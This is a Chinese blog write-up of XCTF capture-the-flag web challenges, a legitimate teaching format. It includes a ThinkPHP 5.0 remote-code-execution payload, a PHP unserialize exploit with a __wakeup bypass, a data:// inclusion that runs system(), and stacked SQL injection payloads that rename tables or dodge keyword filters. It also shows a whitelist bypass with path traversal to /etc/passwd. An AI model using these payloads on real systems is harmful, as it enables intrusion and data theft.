[CTF学习] 攻防世界进阶区学习，1分题 + 2分题

最新推荐文章于 2024-07-19 13:51:47 发布
最新推荐文章于 2024-07-19 13:51:47 发布
阅读量4.4k 收藏
点赞数
分类专栏： CTF 文章标签： web安全 安全 学习
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_50289181/article/details/122891229
版权

学习内容

在这里插入图片描述

一、“1”分题

1. baby_web

在这里插入图片描述

  • 题目内容提示初始页面，一般初始页面都是index.php index.html 等
  • 进入链接后，这里显示的时1.php
    在这里插入图片描述
  • 当直接访问index.php 的时候会再次跳转到1.php，存在302跳转
  • 使用浏览器的工具直接调试，在network那里刷新查看，确实是302跳转，然后在头部信息中看到flag
    在这里插入图片描述
  • 补充：302跳转的也可以使用命令curl 进行获取，加上-i参数查看头部信息
    在这里插入图片描述

2. Training-WWW-Robots

在这里插入图片描述

  • 看题目就比较明显的，还是robots协议，进入链接后也很明显的介绍了
    在这里插入图片描述

  • 直接访问robots.txt 文件，得到一个PHP文件fl0g.php

  • 直接访问文件即可获得flag
    在这里插入图片描述
    在这里插入图片描述

3. PHP2

在这里插入图片描述

  • 进入链接，这里说的是需要我们登陆，但尝试login.php等都没有相应的文件存在
    在这里插入图片描述

  • 扫一下目录，看到一个index.phps 文件（这里主要看字典是否给力了）
    在这里插入图片描述

  • 访问文件内容如下
    在这里插入图片描述

  • 只需要上传一个参数id且值等于admin即可，但需要进行两次URL编码

  • admin --> %25%36%31%25%36%34%25%36%44%25%36%39%25%36%45
    在这里插入图片描述

二、“2”分题

1. Web_php_unserialize

在这里插入图片描述

  • 题目如下
    在这里插入图片描述

  • 代码如下，简单的分析一下代码

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { //对象创建时调用
        $this->file = $file; 
    }
    function __destruct() { //对象销毁时调用
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { //unserialize()时会调用
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { //正则匹配，能够匹配 O:数字 格式开头的内容
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

  • 题目是一个反序列化问题，主要知识点是需要绕过正则匹配和__wakeup()方法

  • preg_match('/[oc]:\d+:/i', $var)正则匹配，在传入的序列化对象中有 O:4 的内容，会被匹配到，可以更改为O:+4 即可绕过

  • __wakeup() (CVE-2016-7124)：当 PHP5<5.6.25、PHP7<7.0.1 时，如果成员属性数目大于实际数目时可以绕过此方法

  • 构造EXP如下

<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
}

$demo = new Demo('fl4g.php');
$pay = str_replace('O:', 'O:+', serialize($demo));
$pay = str_replace(':1:', ':2:', $pay);
echo base64_encode($pay);

?>

在这里插入图片描述

2. php_rce

在这里插入图片描述

  • 一进去就看到Think PHP v5.0，这个版本存在一个远程代码执行漏洞，然后题目也是php rce

在这里插入图片描述

  • 利用payload： 依次执行命令获取flag即可
  • s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

3. Web_php_include

  • 查看内容，这里可以利用PHP伪协议，虽然php://会被过滤，但还可以尝试使用file:// data:// 协议等
    在这里插入图片描述
  • 这里利用data:// 协议，用来执行PHP代码，如下，执行phpinfo() 成功
    在这里插入图片描述
  • 接下来将phpinfo() 换成system() 函数，用来执行命令
    在这里插入图片描述
  • flag文件在当前目录下，直接cat即可，但需要注意的是，flag需要查看源代码才能看到
    在这里插入图片描述

4. supersqli

在这里插入图片描述

4.1 方法一：堆叠注入改表获取

  • 先判断一下注入类型，常规就是and 1=1，or 1=1 等，然后考虑是单引号还是双引号闭合等

  • 观察这里，在后面直接输入单引号时报错，然后使用--+ 进行闭合时能正常搜索，所以可以知道是单引号闭合
    在这里插入图片描述
    在这里插入图片描述

  • 从图中可以看到返回的内容至少都有两个字段，所以直接order by 3 ，发现超出范围，然后再尝试order by 2 能够显示，所以可以知道字段就是两个

在这里插入图片描述

  • 然后union 联合注入的时候发现过滤了很多关键字
    在这里插入图片描述

  • 从里面可以看到，比如show 等关键字没被过滤掉，所以可以先尝试堆叠注入，如果行不通再尝试怎么绕过过滤

  • 从图中可以看到，可以采用堆叠注入
    在这里插入图片描述

  • 接下来就是获取字段了，可以使用 show columns from table_name 的形式获取，但是表名需要使用反引号
    在这里插入图片描述

  • 这里可以知道flag在表1919810931114514 中，不过select 被过滤了，所以想直接跨表获取内容是不可能的

  • 再来看有哪些关键字被过滤了

  • preg_match("/select|update|delete|drop|insert|where|\./i",$inject)

  • 仔细看alter 关键字没有被过滤，那可以考虑一下，是不是可以通过利用alter关键字修改表名的方式绕过过滤

  • 可以知道当前PHP脚本获取的数据是words 表中的数据，然后查看一下words表中的字段信息
    在这里插入图片描述

  • 第一个字段是id ，我们获取的内容也是通过这个id 获取到的，然后1919810931114514表中的第一个字段就是flag

  • 所以这里有三个步骤

1. 把 words 表的名字改成其他任意名字，注意两个表的名字不能有冲突，否则不会成功
2. 把 1919810931114514 表名字改成 words 
3. 将 flag 字段名改成 id
注意：上面三个步骤顺序不能颠倒，而且必须同时修改，也就是一次性修改
如果先执行第二步，因为words表名存在，无法修改成功
如果三个步骤没有一次性修改，则因为words表名已经被修改
导致直接破坏了PHP脚本的完整性，脚本获取不到words表，所以后继的操作也将不能继续
  • payload如下
-1';alter table `words` rename `aaa`;alter table `1919810931114514` rename `words`;alter table `words` change flag id varchar(100); --+
  • 执行结束后，直接1' or '1'='1 即可
    在这里插入图片描述
4.2 方法二：堆叠+预编译
4.2.1 预编译讲解
  • 简单理解一下MySQL中的预编译

正常情况下使用预编译功能，都是从客户端发送一条SQL语句到服务器，然后服务器校验传递过来的SQL语句语法格式是否正确，再将SQL语句编译成可执行的函数，最后开始执行SQL语句

在服务端编译和校验的过程耗费的时间会比较多，如果执行的数据量比较大，会非常的耽搁时间

但是如果每次执行的SQL语句语法都是相同的，只有其中的一些值有所不同，通过采用预编译功能，就可以达到只针对SQL语句进行一次语法校验和编译，然后填入数据就能直接执行，从而很大程度上提高了效率

简单来说，预编译的实现过程就是提前将需要使用的SQL语句编译好，然后直接使用即可，预编译其实是可以在一定程度上防御SQL注入的，但是在堆叠注入中就容易被很好的利用，导致SQL注入

  • 预编译的实现过程
# 预编译一条SQL语句执行语法结构
PREPARE stmt_name FROM preparable_stm;

# SET 绑定参数
SET @str=data;

# 执行语句
EXECUTE stmt_name [USING @var_name [, @var_name]...];
  • 举例1：
# 准备执行语句，问好表示需要填充的数据位置
PREPARE func FROM 'select * from test where id=?';

# SET 绑定一个参数
SET @id=1;

# 执行语句
EXECUTE func using @id;

在这里插入图片描述

  • 举例2：
# 先SET绑定SQL指令
SET @sql='select * from test';

# 准备执行
PREPARE e FROM @sql;

# 执行指令
EXECUTE e;

在这里插入图片描述

4.2.2 题目解法

  • OK，上面知道了MySQL的预编译后，下面回到题目

  • 这里可以知道了select 关键字是被过滤了的
    在这里插入图片描述

  • 然后可以尝试一下使用预编译的方式，先将select 拆解，然后使用concat函数连接，在本地测试一下（注意一下，在本地测试的时候直接就是 from 跟上表名，但是在注入中还是需要使用反引号将表名引起来），如图：
    在这里插入图片描述

  • OK，知道了怎么预编译了，接下来就是编译payload了

  • 同样的也是通过堆叠获取到flag在1919810931114514 表中，所以：

set @f=concat('sel','ect flag from `1919810931114514`');
prepare g from @f;
execute g;
  • 不过在提交payload的时候遇到了问题，这里还是被检查到了，不过好在没有使用正则匹配啊啥的，试一下大小写绕过等常规方法看是否能绕过去
    在这里插入图片描述
  • 好哒，大小写成功绕过
    在这里插入图片描述
4.3 方法三：handler查询
4.3.1 handler学习

还是一样的，先学习一下MySQL中的handler，弄清楚怎么用才是最重要的，详情可以查看官方文档，下面简要学习一下：

首先需要知道的是，handler是MySQL中专有的，用来提供对表存储引擎接口的直接访问，适用于 innoDB 和 MyISAM。

简答的理解来说就是：利用handler也可以直接读取表中的内容，可以起到和select一样的效果，不过handler不具备完全的select的所有功能，所以只是在MySQL中存在，并没有写入到SQL语法中。

  • handler的基本语法：
HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE


# 简要说明
1. handler tbl_name open # 打开一张表，没有返回结果，只是声明了一个句柄
2. handler tbl_name read index_name # 读取句柄，也就是读取表的内容
# index_name 的取值有：FIRST | NEXT | PREV | LAST
# FIRST 表示读取第一行
# NEXT 继续读取下一行
# PREV 读取上一行
# LAST 读取最后一行
# 除了上面的用法还可以是:
# index_name=value 指定从哪一行开始读取
3. handler tbl_name close # 关闭打开的句柄，在调用该语句之前，句柄不会自己关闭
  • 弄清楚用法后，接下来本地建表测试一下：
# 创建表 handler_test
create table handler_test(
id tinyint auto_increment not null,
username varchar(50) not null,
passwd varchar(100) not null,
primary key(id));

# 插入数据
insert into handler_test value(null,"Jack",md5('jack123'));
insert into handler_test value(null,"Tom",md5('tom123'));
insert into handler_test value(null,"Lucy",md5('lucy123'));
insert into handler_test value(null,"James",md5('james123'));

在这里插入图片描述

  • 接下来使用HANDLER tbl_name READ { FIRST | NEXT }的形式查询信息
# 直接打开表查询
handler handler_test open;
handler handler_test read first;
handler handler_test close;

# 也可以重新取一个表名
handler handler_test open as h;
handler h read first;
handler h close;

在这里插入图片描述

  • 使用索引的形式查找，也即HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)的类型

  • 注意 ：因为在创建表的时候是不存在索引的，所以如果直接使用handler查询的话会报错，如下：

在这里插入图片描述

  • 所以需要先创建一个索引
# 创建索引 handler_id
create index handler_id on handler_test(id);

# handler 查询
handler handler_test open as h;
handler h read handler_id=(1);
handler h close;

在这里插入图片描述

4.3.2 题目解法

通过上面对handler的学习，相信题目的解法很容易就知道了

基本思路：也是利用堆叠注入的原理，然后结合handler的特性，实现跨表查询

  • payload如下：
handler `1919810931114514` open as f;
handler f read first;
handler f close;

在这里插入图片描述

5. ics-06

在这里插入图片描述

  • 刚进去就是一个工控云管理系统的，然后随便点击它的功能点，不过都没反应
    在这里插入图片描述
  • 当点击到报表中心的时候，发现有页面跳转了，然后URL中还有提交的参数
  • 下面还显示了一个送分题，在这种有参数id，可以考虑是否存在注入漏洞，代码执行等
  • 一番尝试无果，不是注入，也不是代码执行
    在这里插入图片描述
  • 然后使用burp抓包看一下参数信息，能控制的参数只有id
    在这里插入图片描述
  • 尝试对参数id进行爆破
    在这里插入图片描述
  • 选择payload类型为数字，然后爆破的范围可以适当大一些
    在这里插入图片描述
  • 当提交的id=2333时，在返回的内容中可以看到flag
    在这里插入图片描述

6. warmup

在这里插入图片描述

  • 进去就是一个很大的滑稽。。。
    在这里插入图片描述

  • 然后还是一样的，先看一下前端代码，发现有一个source.php文件
    在这里插入图片描述

  • 直接访问source.php
    在这里插入图片描述

  • 在代码中看到了还有一个文件hint.php，尝试访问一下，然后获取到flag文件名ffffllllaaaagggg
    在这里插入图片描述

  • 回到source.php文件，看一下代码的内容

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>
  • 思路分析：利用点为下面的内容（文件包含）
 if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file']; // 文件包含
        exit;
    }

// 主要在这里，有一个 include 文件包含，可以将传入的 file 参数进行包含
// emmm::checkFile($_REQUEST['file'] 这里会调用类中的函数对参数进行检查，需要绕过
  • 在emmm类中，有如下判断，需要传入的参数必须在白名单中，也就是写死了，只能包含source.php或者hint.php
  • 所以想直接file=ffffllllaaaagggg的形式获取flag是不可能的
if (in_array($page, $whitelist)) {
                return true;
            }
  • 接下来思考，在代码中能获取到flag的方法只有通过include文件包含获取，但是每次都要经过checkFile()函数的检查，而且也被白名单写死了
  • 既然没有别的利用点，那么可以思考include是否会存在某些漏洞或者什么特性能达到包含flag文件的效果
  • 直接查看PHP手册关于include的描述，内容如下：
    在这里插入图片描述
  • 注意里面很关键的一点：

如果定义了路径——不管是绝对路径（在 Windows 下以盘符或者 \ 开头，在 Unix/Linux 下以 / 开头）还是当前目录的相对路径（以 . 或者 … 开头）——include_path 都会被完全忽略。例如一个文件以 …/ 开头，则解析器会在当前目录的父目录下寻找该文件。

  • 那么，这句话什么意思呢？？

可以简单的这么理解，在include的时候，如果定义了绝对或者相对路径，那么会直接包含这个路径下的文件，其余的会被忽略掉

  • 然后接着看下面这段代码，在第一次没有匹配到白名单的内容，然后会对?进行一次切割，mb_substr()函数可以用来截取获得某一段字符串
$_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

// 这里 mb_strpos() 会根据 ? 进行一次切割
// 如果切割后的内容在白名单中，就会返回 true

  • 结合前面的内容，如果构造hint.php后面加上一个?，那么在第二次切割后就能让checkFile()函数返回true，然后在?后面使用相对路径获取其他文件，那么在include的的特性，会先包含相对路径，忽略掉其余的内容，从而达到包含我们想要的文件

  • 所以，构造file=hint.php?../../../../../etc/passwd，发现能够正常包含
    在这里插入图片描述

  • 最后将/etc/passwd改成/ffffllllaaaagggg即可flag

【结语】 新人入坑，如果有讲的不对的地方，还请各位师傅指出

Only_kele_
关注
专栏目录
ctf攻防世界open-source
qq_46927150的博客
04-10 2021
题目链接： https://adworld.xctf.org.cn/task/answer?type=reverse&number=4&grade=0&id=5076&page=1打开附件可得到下面这段代码：分析：1.必须满足输入四个参数；2. 第二个参数等于 0xcafe；3. 第三个参数对5取余不能等于3，或者是对17取余等于8；4. 第四个参数是:h4ck...
CTF-WEB(攻防世界题目-高手进阶区)
皮卡乒的皮卡乓
10-31 292
高手进阶区baby_web方法一方法二Training-WWW-Robotsphp_rce baby_web 方法一 题目描述：想想初始页面是哪个 一进来就可以看到，1.php，显然，初始页面应该是index.php。我们输入index.php之后会发现 没错，鸟用没有啊？ 真的鸟用没有？真的!(放屁哦) 但是，你的应该是这样子。为啥，因为我截图够快，这个index.php会立马被隐藏起来，所以根本来不及看它。 我们查看Network这一项，哦显而易见，我们要看index.php 查看Respon
攻防世界web_php_unserialize题解
2301_77512689的博客
04-15 252
注意：这会改变填充到matches参数的数组，使其每个元素成为一个由 第0个元素是匹配到的字符串，第1个元素是该匹配字符串 在目标字符串subject中的偏移量。大致意思为，如果判断下一位字符是数字就goto yy20，如果是’+'就goto yy19，yy19则是对下一位字符的判断，如果下一位字符是数字，则继续goto yy20，如果不是则直接退出，那么。$matches[0]将包含完整模式匹配到的文本， $matches[1] 将包含第一个捕获子组匹配到的文本，以此类推。是如何实现的终止判断？
攻防世界 web部分的Web_php_unserialize的writeup
dchua123的专栏
04-01 1434
这个题就是三个点： 1、$file改成fl4g.php； 2、绕过：preg_match('/[oc]:\d+:/i', $var) 3、跳过__wakeup()。 步骤如下： <?php class Demo { private $file = 'fl4g.php'; } $a= serialize(new demo); $a=str_replace('O:4',...
CTF入门教程（非常详细）从零基础入门到竞赛，看这一篇就够了！
最新发布
资深程序员，曾自学JAVA，C#，如今从业于网安行业
07-19 796
CTF（Capture The Flag）夺旗比赛，在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会，以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。发展至今，已经成为全球范围网络安全圈流行的竞赛形式，2013年全球举办了超过五十场国际性CTF赛事。而DEFCON作为CTF赛制的发源地，DEFCON CTF也成为了目前全球最高技术水平和影响力的CTF竞赛，类似于CTF赛场中的"世界杯"。
CTF赛题PHP7 正则绕过
kelenwait的博客
08-19 2543
题目为ctf web中php正则绕过题 前言：由于长度限制，且不像其他题目告知flag.php的内容， 笔者并没有求出flag，绕过思路可参考，也欢迎ctf大佬指点迷津。 题目如下，解析flag.php中的flag变量 <?php include("flag.php"); if(isset($_GET['code'])){ $code = $_GET['code']; if(strlen($code)>20){ die("Too Long."); }
CTFHub | PHPINFO
尼泊罗河伯的博客
10-03 1841
因为这题没有过多的提示，只是说明了 phpinfo ，点击查看页面发现 phpinfo 测试页面。原以为这题是一道大题，需要利用信息泄露找到跳转页面什么的。测试了好久都是 not found ，最后在接近网页末尾才发现一个名称为 ctfhub ，这才发现了此题 flag 居然隐藏在测试页面中。
ctf攻防世界
weixin_64286326的博客
12-05 4219
1：如来十三掌 下载完附件顺利打开，如图所示： 第一个感觉就像是佛曰加密，这题第一个坑就是没有加 “佛曰”二字。翻译如下： 这个乱码看着像是Base但试了试不对，想到题目的十三数字目光锁到rot13加密,顺利解密 解密出来是base64最后得出 flag{bdscjhbkzmnfrdhbvckijndskvbkjdsab} 佛曰解密：与佛论禅 rot13解密：ROT5、ROT13、ROT18、ROT47位移编码 2： ...
CTF攻防世界
髣髴兮若轻云之蔽月
12-03 1556
CTF 攻防世界MISC 1.gif表情包题 暂停抓取二维码 若二维码损坏则补全。 2.pdf图片题注意隐藏在图片后的flag可以尝试删除上层图片。 3.pdf图片若删除上层图片后并无发现flag或不可删除，可以尝试CTRL+A全选内容复制 然后粘贴在空文本文档里寻找FLAG 附:ABABABABAB 形如这类的加密可尝试摩尔斯电码（即摩斯密码）可以将A换成".",b换成"-", 然后用摩尔斯电码...
【和小白一起练习CTF】攻防世界：web基础练习题(1)
xtcc的博客
08-07 3510
robots.txt文档记录了不应该被搜索引擎的漫游器获取的东西 ，它一般放在根目录下，搜索引擎搜索这个网站时，首先访问这个robots.txt，如果它存在，那就按照它上面写的，不允许访问的页面就不访问，如果它不存在，那搜索引擎就可以查阅所有没有口令保护的页面。：打开网页之后，发现有个按钮，但是点击不了，这时按下F12，打开开发者工具，修改网页源代码，去掉disabled，按钮就可以点击了，这时就出现了flag。：这道题目是要我们了解一下网页的备份文件，在了解之后就可以轻松解决这道题目，下面先介绍一下。..
CTF -攻防世界-crypto新手区(1~4)
aon8069924165211的博客
08-24 695
题目已经提示用base64直接解密就行 base64解密网址 http://tool.oschina.net/encrypt?type=3 题目提示是凯撒密码 http://www.zjslove.com/3.decode/ 题目已经提示摩斯我做了下转化 然后随便百度一个摩斯电码的在线转化网站就行 ...
CTF攻防世界 WEB方向 新手练习区 题解
赤道吻雪的博客
01-26 4365
CTF攻防世界 WEB方向 新手练习区 题解NO.1 view_sourceNO.2 robotsNO.3 backupNO.4 cookieNO.5 disabled_buttonNO.6 weak_auth NO.1 view_source 显示的是这样↓ 题目很简单，提示右键不能使用，直接F12，查看源代码，得到flag cyberpeace{5fd8262428f57d34cf722...
攻防世界 web高手进阶区 10分题 xss1
闵行小鱼塘
11-10 739
继续ctf的旅程，开始攻防世界web高手进阶区的10分题，本文是xss1的writeup
攻防世界 web高手进阶区 10分题 TimeKeeper
闵行小鱼塘
10-19 1397
继续ctf的旅程，开始攻防世界web高手进阶区的10分题，本文是TimeKeeper的writeup
攻防世界 web高手进阶区 10分题 biscuiti-300
闵行小鱼塘
11-07 1046
继续ctf的旅程，开始攻防世界web高手进阶区的10分题，本文是biscuiti-300的writeup
攻防世界 web高手进阶区 10分题Confusion2
闵行小鱼塘
10-13 1081
继续ctf的旅程，开始攻防世界web高手进阶区的10分题，本文是Confusion2的writeup
攻防世界 Misc高手进阶区 3分题 2-1
闵行小鱼塘
11-14 1078
继续ctf的旅程，攻防世界Misc高手进阶区的3分题，本篇是2-1的writeup
CTF攻防世界[新手](跟进中··· )
CLANCY的博客
11-29 436
WEB: 用菜刀连接 simple_php: 发现只有同时满足两个条件才可以呈现出完整的flag即a==0且if a 为真，b不是数字且b>1234才会返回。 经过查询"=="得出：php中的==首先进行类型转换，然后才会进行比较，经过查询php类型比较表得出，把a构造成'0'或'alph'这种转换后为0但本身不为Flase的形式。数字和字符混合的字符串转化为整数后只保留数字即12345s转换为整数后为12345。 构造为?a='0'&
CTF -攻防世界-web新手区
aon8069924165211的博客
08-05 389
直接f12出来 先用get后加/？a=1 然后火狐装hackbar（老版本）f12 post b=2 搞定 Hackbar:https://github.com/Mr-xn/hackbar2.1.3 更简单 直接/robots.txt 有一个php网页 再加在后面打开就行 蜘蛛扫描可以访问的网页 直接/index.php.bar 会下载一个.bar文件 ...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值